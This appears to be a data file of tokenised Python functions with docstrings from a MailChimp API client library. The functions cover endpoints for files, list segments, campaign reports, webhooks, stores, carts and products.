{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.file_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get a list of available images and files stored in the File Manager for the account.\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['type'] = string\nqueryparams['created_by'] = string\nqueryparams['before_created_at'] = string\nqueryparams['since_created_at'] = string\nqueryparams['sort_field'] = string\nqueryparams['sort_dir'] = string", "id": "f257:c0:m2"}
{"signature": "def get(self, file_id, **queryparams):", "body": "self.file_id = file_id<EOL>return self._mc_client._get(url=self._build_path(file_id), **queryparams)<EOL>", "docstring": "Get information about a specific file in the File Manager.\n\n:param file_id: The unique id for the File Manager file.\n:type file_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f257:c0:m3"}
{"signature": "def update(self, file_id, data):", "body": "self.file_id = file_id<EOL>if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>return self._mc_client._patch(url=self._build_path(file_id), data=data)<EOL>", "docstring": "Update a file in the File Manager.\n\n:param file_id: The unique id for the File Manager file.\n:type file_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*,\n    \"file_data\": string*\n}", "id": "f257:c0:m4"}
{"signature": "def delete(self, file_id):", "body": "self.file_id = file_id<EOL>return self._mc_client._delete(url=self._build_path(file_id))<EOL>", "docstring": "Remove a specific file from the File Manager.\n\n:param file_id: The unique id for the File Manager file.\n:type file_id: :py:class:`str`", "id": "f257:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListSegmentMembers, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.segment_id = None<EOL>self.subscriber_hash = None<EOL>", "docstring": "Initialize the endpoint", "id": "f258:c0:m0"}
{"signature": "def create(self, list_id, segment_id, data):", "body": "self.list_id = list_id<EOL>self.segment_id = segment_id<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_email(data['<STR_LIT>'])<EOL>if '<STR_LIT:status>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if data['<STR_LIT:status>'] not in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(list_id, '<STR_LIT>', segment_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.subscriber_hash = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.subscriber_hash = None<EOL><DEDENT>return response<EOL>", "docstring": "Add a member to a static segment.\n\nThe documentation does not currently elaborate on the path or request\nbody parameters. Looking at the example provided, it will be assumed\nthat email_address and status are required request body parameters and\nthey are documented and error-checked as such.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param segment_id: The unique id for the segment.\n:type segment_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"email_address\": string*,\n    \"status\": string* (Must be one of 'subscribed', 'unsubscribed', 'cleaned', or 'pending')\n}", "id": "f258:c0:m1"}
{"signature": "def all(self, list_id, segment_id, get_all=False, **queryparams):", "body": "self.list_id = list_id<EOL>self.segment_id = segment_id<EOL>self.subscriber_hash = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(list_id, '<STR_LIT>', segment_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>', segment_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about members in a saved segment.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param segment_id: The unique id for the segment.\n:type segment_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f258:c0:m2"}
{"signature": "def delete(self, list_id, segment_id, subscriber_hash):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.segment_id = segment_id<EOL>self.subscriber_hash = subscriber_hash<EOL>return self._mc_client._delete(<EOL>url=self._build_path(list_id, '<STR_LIT>', segment_id, '<STR_LIT>', subscriber_hash)<EOL>)<EOL>", "docstring": "Remove a member from the specified static segment.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param segment_id: The unique id for the segment.\n:type segment_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`", "id": "f258:c0:m3"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ReportEmailActivity, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>self.subscriber_hash = None<EOL>", "docstring": "Initialize the endpoint", "id": "f259:c0:m0"}
{"signature": "def all(self, campaign_id, get_all=False, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>self.subscriber_hash = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get a list of member\u2019s subscriber activity in a specific campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f259:c0:m1"}
{"signature": "def get(self, campaign_id, subscriber_hash, **queryparams):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.campaign_id = campaign_id<EOL>self.subscriber_hash = subscriber_hash<EOL>return self._mc_client._get(<EOL>url=self._build_path(campaign_id, '<STR_LIT>', subscriber_hash),<EOL>**queryparams<EOL>)<EOL>", "docstring": "Get a specific list member\u2019s activity in a campaign including opens,\nclicks, and bounces.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f259:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(BatchWebhooks, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.batch_webhook_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f260:c0:m0"}
{"signature": "def create(self, data):", "body": "if '<STR_LIT:url>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(), data=data)<EOL>if response is not None:<EOL><INDENT>self.batch_webhook_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.batch_webhook_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Configure a webhook that will fire whenever any batch request\ncompletes processing.\n\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"url\": string*\n}", "id": "f260:c0:m1"}
{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.batch_webhook_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get all webhooks that have been configured for batches.\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f260:c0:m2"}
{"signature": "def get(self, batch_webhook_id, **queryparams):", "body": "self.batch_webhook_id = batch_webhook_id<EOL>return self._mc_client._get(url=self._build_path(batch_webhook_id), **queryparams)<EOL>", "docstring": "Get information about a specific batch webhook.\n\n:param batch_webhook_id: The unique id for the batch webhook.\n:type batch_webhook_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f260:c0:m3"}
{"signature": "def update(self, batch_webhook_id, data):", "body": "self.batch_webhook_id = batch_webhook_id<EOL>if '<STR_LIT:url>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>return self._mc_client._patch(url=self._build_path(batch_webhook_id), data=data)<EOL>", "docstring": "Update a webhook that will fire whenever any batch request completes\nprocessing.\n\n:param batch_webhook_id: The unique id for the batch webhook.\n:type batch_webhook_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"url\": string*\n}", "id": "f260:c0:m4"}
{"signature": "def delete(self, batch_webhook_id):", "body": "self.batch_webhook_id = batch_webhook_id<EOL>return self._mc_client._delete(url=self._build_path(batch_webhook_id))<EOL>", "docstring": "Remove a batch webhook. Webhooks will no longer be sent to the given\nURL.\n\n:param batch_webhook_id: The unique id for the batch webhook.\n:type batch_webhook_id: :py:class:`str`", "id": "f260:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ReportSubReports, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f261:c0:m0"}
{"signature": "def all(self, campaign_id, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "Get a list of reports with child campaigns for a specific parent\ncampaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f261:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListSignupForms, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f262:c0:m0"}
{"signature": "def create(self, list_id, data):", "body": "self.list_id = list_id<EOL>response = self._mc_client._post(url=self._build_path(list_id, '<STR_LIT>'), data=data)<EOL>return response<EOL>", "docstring": "Create a customized list signup form.\n\nNo fields are listed as required in the documentation and the\ndescription of the method does not indicate any required fields\neither.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`", "id": "f262:c0:m1"}
{"signature": "def all(self, list_id):", "body": "self.list_id = list_id<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>'))<EOL>", "docstring": "Get signup forms for a specific list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`", "id": "f262:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ReportCampaignAbuseReports, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>self.report_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f263:c0:m0"}
{"signature": "def all(self, campaign_id, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>self.report_id = None<EOL>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "Get a list of abuse complaints for a specific campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f263:c0:m1"}
{"signature": "def get(self, campaign_id, report_id, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>self.report_id = report_id<EOL>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>', report_id), **queryparams)<EOL>", "docstring": "Get information about a specific abuse report for a campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param report_id: The id for the abuse report.\n:type report_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f263:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(AuthorizedApps, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.app_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f264:c0:m0"}
{"signature": "def create(self, data):", "body": "self.app_id = None<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>return self._mc_client._post(url=self._build_path(), data=data)<EOL>", "docstring": "Retrieve OAuth2-based credentials to associate API calls with your\napplication.\n\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"client_id\": string*,\n    \"client_secret\": string*\n}", "id": "f264:c0:m1"}
{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.app_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get a list of an account\u2019s registered, connected applications.\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f264:c0:m2"}
{"signature": "def get(self, app_id, **queryparams):", "body": "self.app_id = app_id<EOL>return self._mc_client._get(url=self._build_path(app_id), **queryparams)<EOL>", "docstring": "Get information about a specific authorized application\n\n:param app_id: The unique id for the connected authorized application\n:type app_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f264:c0:m3"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListAbuseReports, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.report_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f265:c0:m0"}
{"signature": "def all(self, list_id, get_all=False, **queryparams):", "body": "self.list_id = list_id<EOL>self.report_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get all abuse reports for a specific list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f265:c0:m1"}
{"signature": "def get(self, list_id, report_id, **queryparams):", "body": "self.list_id = list_id<EOL>self.report_id = report_id<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>', report_id), **queryparams)<EOL>", "docstring": "Get details about a specific abuse report.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param report_id: The id for the abuse report.\n:type report_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f265:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(Stores, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.store_id = None<EOL>self.carts = StoreCarts(self)<EOL>self.customers = StoreCustomers(self)<EOL>self.orders = StoreOrders(self)<EOL>self.products = StoreProducts(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f266:c0:m0"}
{"signature": "def create(self, data):", "body": "if '<STR_LIT:id>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if not re.match(r\"<STR_LIT>\", data['<STR_LIT>']):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(), data=data)<EOL>if response is not None:<EOL><INDENT>self.store_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.store_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Add a new store to your MailChimp account.\n\nError checking on the currency code verifies that it is in the correct\nthree-letter, all-caps format as specified by ISO 4217 but does not\ncheck that it is a valid code as the list of valid codes changes over\ntime.\n\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"id\": string*,\n    \"list_id\": string*,\n    \"name\": string*,\n    \"currency_code\": string*\n}", "id": "f266:c0:m1"}
{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.store_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get information about all stores in the account.\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f266:c0:m2"}
{"signature": "def get(self, store_id, **queryparams):", "body": "self.store_id = store_id<EOL>return self._mc_client._get(url=self._build_path(store_id), **queryparams)<EOL>", "docstring": "Get information about a specific store.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f266:c0:m3"}
{"signature": "def update(self, store_id, data):", "body": "self.store_id = store_id<EOL>return self._mc_client._patch(url=self._build_path(store_id), data=data)<EOL>", "docstring": "Update a store.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`", "id": "f266:c0:m4"}
{"signature": "def delete(self, store_id):", "body": "self.store_id = store_id<EOL>return self._mc_client._delete(url=self._build_path(store_id))<EOL>", "docstring": "Delete a store. Deleting a store will also delete any associated\nsubresources, including Customers, Orders, Products, and Carts.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`", "id": "f266:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ReportClickDetailMembers, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>self.link_id = None<EOL>self.subscriber_hash = None<EOL>", "docstring": "Initialize the endpoint", "id": "f267:c0:m0"}
{"signature": "def all(self, campaign_id, link_id, get_all=False, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>self.link_id = link_id<EOL>self.subscriber_hash = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(campaign_id, '<STR_LIT>', link_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(<EOL>url=self._build_path(campaign_id, '<STR_LIT>', link_id, '<STR_LIT>'),<EOL>**queryparams<EOL>)<EOL><DEDENT>", "docstring": "Get information about list members who clicked on a specific link in a\ncampaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param link_id: The id for the link.\n:type link_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f267:c0:m1"}
{"signature": "def get(self, campaign_id, link_id, subscriber_hash, **queryparams):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.campaign_id = campaign_id<EOL>self.link_id = link_id<EOL>self.subscriber_hash = subscriber_hash<EOL>return self._mc_client._get(<EOL>url=self._build_path(campaign_id, '<STR_LIT>', link_id, '<STR_LIT>', subscriber_hash),<EOL>**queryparams<EOL>)<EOL>", "docstring": "Get information about a specific subscriber who clicked a link in a\nspecific campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param link_id: The id for the link.\n:type link_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f267:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(StoreCarts, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.store_id = None<EOL>self.cart_id = None<EOL>self.lines = StoreCartLines(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f268:c0:m0"}
{"signature": "def create(self, store_id, data):", "body": "self.store_id = store_id<EOL>if '<STR_LIT:id>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:id>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if not re.match(r\"<STR_LIT>\", data['<STR_LIT>']):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>for line in data['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT:id>' not in line:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in line:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in line:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in line:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in line:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT><DEDENT>response = self._mc_client._post(url=self._build_path(store_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.cart_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.cart_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Add a new cart to a store.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"id\": string*,\n    \"customer\": object*\n    {\n        \"id\": string*\n    },\n    \"currency_code\": string*,\n    \"order_total\": number*,\n    \"lines\": array*\n    [\n        {\n            \"id\": string*,\n            \"product_id\": string*,\n            \"product_variant_id\": string*,\n            \"quantity\": integer*,\n            \"price\": number*\n        }\n    ]\n}", "id": "f268:c0:m1"}
{"signature": "def all(self, store_id, get_all=False, **queryparams):", "body": "self.store_id = store_id<EOL>self.cart_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(store_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about a store\u2019s carts.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f268:c0:m2"}
{"signature": "def get(self, store_id, cart_id, **queryparams):", "body": "self.store_id = store_id<EOL>self.cart_id = cart_id<EOL>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>', cart_id), **queryparams)<EOL>", "docstring": "Get information about a specific cart.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param cart_id: The id for the cart.\n:type cart_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f268:c0:m3"}
{"signature": "def update(self, store_id, cart_id, data):", "body": "self.store_id = store_id<EOL>self.cart_id = cart_id<EOL>return self._mc_client._patch(url=self._build_path(store_id, '<STR_LIT>', cart_id), data=data)<EOL>", "docstring": "Update a specific cart.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param cart_id: The id for the cart.\n:type cart_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`", "id": "f268:c0:m4"}
{"signature": "def delete(self, store_id, cart_id):", "body": "self.store_id = store_id<EOL>self.cart_id = cart_id<EOL>return self._mc_client._delete(url=self._build_path(store_id, '<STR_LIT>', cart_id))<EOL>", "docstring": "Delete a cart.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param cart_id: The id for the cart.\n:type cart_id: :py:class:`str`", "id": "f268:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(Reports, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>self.abuse_reports = ReportCampaignAbuseReports(self)<EOL>self.advice = ReportCampaignAdvice(self)<EOL>self.click_details = ReportClickDetailReports(self)<EOL>self.domain_performance = ReportDomainPerformance(self)<EOL>self.eepurl = ReportEepURL(self)<EOL>self.email_activity = ReportEmailActivity(self)<EOL>self.locations = ReportLocations(self)<EOL>self.sent_to = ReportSentTo(self)<EOL>self.subreports = ReportSubReports(self)<EOL>self.unsubscribes = ReportUnsubscribes(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f269:c0:m0"}
{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.campaign_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get campaign reports.\n\n.. note::\n    The before_send_time and since_send_time queryparams expect times\n    to be listed in the ISO 8601 format in UTC (ex.\n    2015-10-21T15:41:36+00:00).\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['type'] = []\nqueryparams['before_send_time'] = string\nqueryparams['since_send_time'] = string", "id": "f269:c0:m1"}
{"signature": "def get(self, campaign_id, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._get(url=self._build_path(campaign_id), **queryparams)<EOL>", "docstring": "Get report details for a specific sent campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f269:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(StoreProducts, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.store_id = None<EOL>self.product_id = None<EOL>self.images = StoreProductImages(self)<EOL>self.variants = StoreProductVariants(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f270:c0:m0"}
{"signature": "def create(self, store_id, data):", "body": "self.store_id = store_id<EOL>if '<STR_LIT:id>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:title>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>for variant in data['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT:id>' not in variant:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:title>' not in variant:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT><DEDENT>response = self._mc_client._post(url=self._build_path(store_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.product_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.product_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Add a new product to a store.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"id\": string*,\n    \"title\": string*,\n    \"variants\": array*\n    [\n        {\n            \"id\": string*,\n            \"title\": string*\n        }\n    ]\n}", "id": "f270:c0:m1"}
